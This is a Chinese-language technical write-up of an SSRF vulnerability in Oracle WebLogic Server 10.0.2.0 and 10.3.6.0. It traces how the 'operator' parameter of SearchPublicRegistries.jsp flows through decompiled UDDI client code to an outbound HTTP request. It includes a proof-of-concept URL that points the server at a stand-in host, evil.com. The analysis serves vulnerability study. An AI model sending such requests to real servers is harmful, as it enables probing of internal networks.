影响范围

  • Oracle WebLogic Server 10.0.2.0
  • Oracle WebLogic Server 10.3.6.0

POC

http://localhost:7001/uddiexplorer/SearchPublicRegistries.jsp?rdoSearch=name&txtSearchname=sdf&btnSubmit=Search&operator=http://evil.com

漏洞分析

该漏洞为 SSRF 漏洞,输入点在 /uddiexplorer/SearchPublicRegistries.jsp 页面的 operator 参数中。

看一下 SearchPublicRegistries.jsp 对该参数的处理:

从请求中拿到 operator 没做什么处理便传入 search 对象,然后调用了它的 getResponse 方法,那么跟进一下 search 对象的类 com.bea.uddiexplorer.Search

首先是 setOperator 方法:

public void setOperator(String var1) {
    try {
        this.m_operator = var1;
        this.setUDDIInquiryURL(var1);
    } catch (Exception var4) {
        String var3 = (new UDDITextFormatter()).uddiExplorerSearchOpException();
        this.log.error(var3, var4);
    }
}
public void setUDDIInquiryURL(String var1) {
    this.UDDI_INQUIRY_URL = var1;
    this.m_inquiry.setURL(this.UDDI_INQUIRY_URL);
}

用我们控制的 operator 参数值设置了 m_operator 和 m_inquiry 属性

然后跟进 getResponse 方法:

public Object getResponse(String var1, String var2, String var3, String var4, String var5) throws UDDIException, XML_SoapException {
    Object var6 = null;
    if (var1.equalsIgnoreCase("name")) {
        var6 = this.findBusinessListByName(var2);
    } else if (var1.equalsIgnoreCase("key")) {
        ...}
    ...}
private BusinessList findBusinessListByName(String var1) throws UDDIException, XML_SoapException {
    BusinessList var2 = null;
    FindBusiness var3 = new FindBusiness();
    var3.setName(new Name(var1));
    var2 = this.m_inquiry.findBusiness(var3);
    return var2;
}

当 var1 的值是 name 时,则会调用 m_inquiry 属性的 findBusiness 方法,var1 我们可 以通过传入 rdoSearch 来控制,var2 我们也需要通过 txtSearchname 参数来设置一个值

跟进 findBusiness 方法:

此时 sendMessage 的参数已经被污染了,在这个方法中会使用 BindingFactory#create 方 法构建一个 Binding 实例用来发送请求,而 create 方法的参数受到 sendMessage 的参数 影响。关键代码如下:

构建 Binding 实例的过程:

setBindingInfo:63, AbstractBinding (weblogic.webservice.binding)
init:118, Http11ClientBinding (weblogic.webservice.binding.http11)
create:50, BindingFactory (weblogic.webservice.binding)
sendMessage:78, UDDISoapMessage (weblogic.uddi.client.service)
findBusiness:101, Inquiry (weblogic.uddi.client.service)
findBusinessListByName:325, Search (com.bea.uddiexplorer)
getResponse:172, Search (com.bea.uddiexplorer)
...

这时 Binding 的 url 属性已经被我们控制,继续执行 UDDISoapMessage#sendMessage 触 发 SSRF 请求:

openConnection:33, Handler (weblogic.net.http)
openConnection:971, URL (java.net)
send:384, Http11ClientBinding (weblogic.webservice.binding.http11)
sendMessage:80, UDDISoapMessage (weblogic.uddi.client.service)
...